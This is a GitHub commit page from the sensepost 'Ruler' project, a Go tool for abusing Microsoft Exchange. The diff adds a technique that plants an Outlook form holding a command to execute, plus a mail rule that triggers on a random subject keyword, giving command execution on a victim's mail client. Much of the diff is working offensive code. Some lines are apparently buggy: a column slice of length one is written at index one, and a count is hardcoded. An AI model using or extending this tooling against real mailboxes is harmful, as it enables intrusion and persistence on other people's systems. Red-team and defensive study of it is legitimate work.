Skip to content

Commit

Permalink
Merge pull request #29 from sensepost/dev
Browse files Browse the repository at this point in the history
New Trigger Technique
  • Loading branch information
staaldraad authored May 3, 2017
2 parents cd266fb + 8d172a1 commit 23a6310
Show file tree
Hide file tree
Showing 5 changed files with 107 additions and 9 deletions.
14 changes: 11 additions & 3 deletions forms/rulerforms.go
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,16 @@ func CreateFormAttachmentPointer(folderid, messageid []byte) error {

//CreateFormAttachmentTemplate creates the template attachment holding the actual command to execute
func CreateFormAttachmentTemplate(folderid, messageid []byte, pstr string) error {
return CreateFormAttachmentWithTemplate(folderid, messageid, pstr, "templates/formtemplate.bin")
}

//CreateFormAttachmentForDeleteTemplate creates the template attachment holding the actual command to execute
func CreateFormAttachmentForDeleteTemplate(folderid, messageid []byte, pstr string) error {
return CreateFormAttachmentWithTemplate(folderid, messageid, pstr, "templates/formdeletetemplate.bin")
}

//CreateFormAttachmentWithTemplate creates a form with a specific template
func CreateFormAttachmentWithTemplate(folderid, messageid []byte, pstr, templatepath string) error {
utils.Info.Println("Create Form Template Attachment")

attachmentPropertyTags := make([]mapi.TaggedPropertyValue, 4)
Expand All @@ -43,8 +52,7 @@ func CreateFormAttachmentTemplate(folderid, messageid []byte, pstr string) error
res, _ := mapi.CreateMessageAttachment(folderid, messageid, attachmentPropertyTags)

//read the template file for our payload
path := "templates/formtemplate.bin"
datafull, err := utils.ReadFile(path)
datafull, err := utils.ReadFile(templatepath)
if err != nil {
utils.Error.Println(err)
if os.IsNotExist(err) {
Expand Down Expand Up @@ -178,7 +186,7 @@ func CreateFormTriggerMessage(suffix, subject, body string) ([]byte, error) {
//DeleteForm is used to delete a specific form stored in an associated table
func DeleteForm(suffix string, folderid []byte) ([]byte, error) {

columns := make([]mapi.PropertyTag, 2)
columns := make([]mapi.PropertyTag, 1)
columns[0] = mapi.PidTagOfflineAddressBookName
columns[1] = mapi.PidTagMid

Expand Down
61 changes: 58 additions & 3 deletions mapi/mapi.go
Original file line number Diff line number Diff line change
Expand Up @@ -2041,7 +2041,7 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ

setColumns := RopSetColumnsRequest{RopID: 0x12, LogonID: AuthSession.LogonID, SetColumnFlags: 0x00}
setColumns.InputHandle = 0x01
setColumns.PropertyTagCount = uint16(len(columns))
setColumns.PropertyTagCount = 2 //uint16(len(columns))
setColumns.PropertyTags = make([]PropertyTag, setColumns.PropertyTagCount)
for k, v := range columns {
setColumns.PropertyTags[k] = v
Expand All @@ -2068,18 +2068,19 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ
bufPtr := 10
var p int
var e error

utils.Info.Println(execResponse)
setColumnsResp := RopSetColumnsResponse{}
if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil {
return nil, e
}
bufPtr += p

utils.Info.Println("Display")
rows := RopQueryRowsResponse{}

if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil {
return nil, e
}
utils.Info.Println("Display")
return &rows, nil
}

Expand Down Expand Up @@ -2126,6 +2127,60 @@ func DisplayRules() ([]Rule, error) {
//return nil, ErrUnknown
}

//ExecuteDeleteRuleAdd adds a new mailrule for deleting a message
//This should be merged with ExecuteMailRuleAdd
func ExecuteDeleteRuleAdd(rulename, triggerword string) (*ExecuteResponse, error) {
execRequest := ExecuteRequest{}
execRequest.Init()
execRequest.MaxRopOut = 262144

addRule := RopModifyRulesRequest{RopID: 0x41, LoginID: AuthSession.LogonID, InputHandleIndex: 0x00, ModifyRulesFlag: 0x00, RulesCount: 0x01, RuleData: RuleData{RuleDataFlags: 0x01}}

propertyValues := make([]TaggedPropertyValue, 8)
//RUle Name
propertyValues[0] = TaggedPropertyValue{PidTagRuleName, utils.UniString(rulename)} //PidTagRuleSequence
propertyValues[1] = TaggedPropertyValue{PidTagRuleSequence, []byte{0x0A, 0x00, 0x00, 0x00}} //PidTagRuleState (Enabled)
propertyValues[2] = TaggedPropertyValue{PidTagRuleState, []byte{0x01, 0x00, 0x00, 0x00}} //PidTagRuleCondition
propertyValues[3] = TaggedPropertyValue{PidTagRuleCondition, utils.BodyToBytes(RuleCondition{0x03, []byte{0x01, 0x00, 0x01, 0x00}, []byte{0x1F, 0x00, 0x37, 0x00, 0x1f, 0x00, 0x37, 0x00}, utils.UniString(triggerword)})} //PidTagRuleActions

actionData := ActionData{}
actionData.ActionElem = []byte{0x00, 0x00, 0x14}
actionData.ActionName = utils.UTF16BE(rulename, 1)
actionData.Element = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x5F, 0x00, 0x00, 0x00, 0x05, 0x00, 0xff, 0xff, 0x00, 0x00, 0x0c, 0x00, 0x43, 0x52, 0x75, 0x6c, 0x65, 0x45, 0x6c, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x90, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x80, 0x64, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x80, 0xCD, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
actionData.Triggger = utils.UTF16BE(triggerword, 1)
actionData.Elem = []byte{0x80, 0x4A, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x42, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
actionData.EndPoint = []byte{}

ruleAction := RuleAction{Actions: 1, ActionType: 0x05, ActionFlavor: 0, ActionFlags: 0}
ruleAction.ActionLen = uint16(len(utils.BodyToBytes(actionData)) + 9)
ruleAction.ActionData = actionData

pdat := ruleAction.Marshal()

propertyValues[4] = TaggedPropertyValue{PidTagRuleActions, pdat} //PidTagRuleProvider
propertyValues[5] = TaggedPropertyValue{PidTagRuleProvider, utils.UniString("RuleOrganizer")} //PidTagRuleLevel
propertyValues[6] = TaggedPropertyValue{PidTagRuleLevel, []byte{0x00, 0x00, 0x00, 0x00}} //PidTagRuleProviderData
propertyValues[7] = TaggedPropertyValue{PidTagRuleProviderData, []byte{0x10, 0x00, 0x00, 0x00, 0x14, 0x00, 0x01, 0x00, 0x00, 0x00, 0x28, 0x7d, 0xd2, 0x27, 0x14, 0xc4, 0xe4, 0x40}}
//propertyValues[8] = TaggedPropertyValue{PidTagRuleUserFlags, []byte{0x0, 0x0, 0x0, 0xf}} //PidTagRuleSequence

addRule.RuleData.PropertyValues = propertyValues
addRule.RuleData.PropertyValueCount = uint16(len(propertyValues))

ruleBytes := utils.BodyToBytes(addRule)
execRequest.RopBuffer.ROP.RopsList = ruleBytes
execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x01, 0x00, 0x00, AuthSession.LogonID} //append(AuthSession.RulesHandle, []byte{0xFF, 0xFF, 0xFF, 0xFF}...)

execResponse, err := sendMapiRequest(execRequest)

if err != nil {
return nil, &TransportError{err}
}
utils.Trace.Println(execResponse)
return nil, err

//return nil, ErrUnknown
}

//ExecuteMailRuleAdd adds a new mailrules
func ExecuteMailRuleAdd(rulename, triggerword, triggerlocation string, delete bool) (*ExecuteResponse, error) {
//valid
Expand Down
24 changes: 23 additions & 1 deletion ruler.go
Original file line number Diff line number Diff line change
Expand Up @@ -508,6 +508,24 @@ func createForm(c *cli.Context) error {
if err := forms.CreateFormAttachmentTemplate(folderid, msgid, command); err != nil {
return err
}
utils.Info.Println("Form created successfully")

if c.Bool("rule") == true {
rname := utils.GenerateString(6)
utils.Info.Printf("Rule trigger set. Adding new rule with name %s\n", rname)
triggerword := utils.GenerateString(8)
utils.Info.Printf("Adding new rule with trigger of %s\n", triggerword)
if c.Bool("send") == false {
utils.Info.Printf("Autosend disabled. You'll need to trigger the rule by sending an email with the keyword \"%s\" present in the subject. \n", triggerword)
}
//create delete rule
if _, err := mapi.ExecuteDeleteRuleAdd(rname, triggerword); err != nil {
utils.Error.Println("Failed to create the trigger rule")
} else {
utils.Info.Println("Trigger rule created.")
}
c.Set("subject", triggerword)
}

//trigger the email if the send option is enabled
if c.Bool("send") == true {
Expand Down Expand Up @@ -568,7 +586,7 @@ func main() {
app := cli.NewApp()
app.Name = "ruler"
app.Usage = "A tool to abuse Exchange Services"
app.Version = "2.1.0"
app.Version = "2.1.3"
app.Author = "Etienne Stalmans <[email protected]>, @_staaldraad"
app.Description = ` _
_ __ _ _| | ___ _ __
Expand Down Expand Up @@ -919,6 +937,10 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.`
Name: "send,s",
Usage: "Trigger the form once it's been created.",
},
cli.BoolFlag{
Name: "rule,r",
Usage: "Trigger the form with a rule. This will add a new rule!",
},
cli.StringFlag{
Name: "body,b",
Value: "This message cannot be displayed in the previewer.\n\n\n\n\n",
Expand Down
Binary file added templates/formdeletetemplate.bin
Binary file not shown.
17 changes: 15 additions & 2 deletions utils/utils.go
Original file line number Diff line number Diff line change
Expand Up @@ -214,9 +214,9 @@ func ReadByte(pos int, buff []byte) (byte, int) {
func ReadUnicodeString(pos int, buff []byte) ([]byte, int) {
//stupid hack as using bufio and ReadString(byte) would terminate too early
//would terminate on 0x00 instead of 0x0000
index := bytes.Index(buff[pos:], []byte{0x00, 0x00, 0x00})
index := bytes.Index(buff[pos:], []byte{0x00, 0x00, 0x00}) + 1
str := buff[pos : pos+index]
return []byte(str), pos + index + 2
return []byte(str), pos + index + 1
}

//ReadASCIIString returns a string as ascii
Expand Down Expand Up @@ -262,3 +262,16 @@ func Obfuscate(data []byte) []byte {
}
return bnew
}

//GenerateString creates a random string of lenght pcount
func GenerateString(pcount int) string {
var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
//seed := time.Date(year, month, day, hour, min, sec,x,time.UTC).UnixNano()
rand.Seed(time.Now().UTC().UnixNano())

b := make([]rune, pcount)
for i := range b {
b[i] = letterRunes[rand.Intn(len(letterRunes))]
}
return string(b)
}

0 comments on commit 23a6310

Please sign in to comment.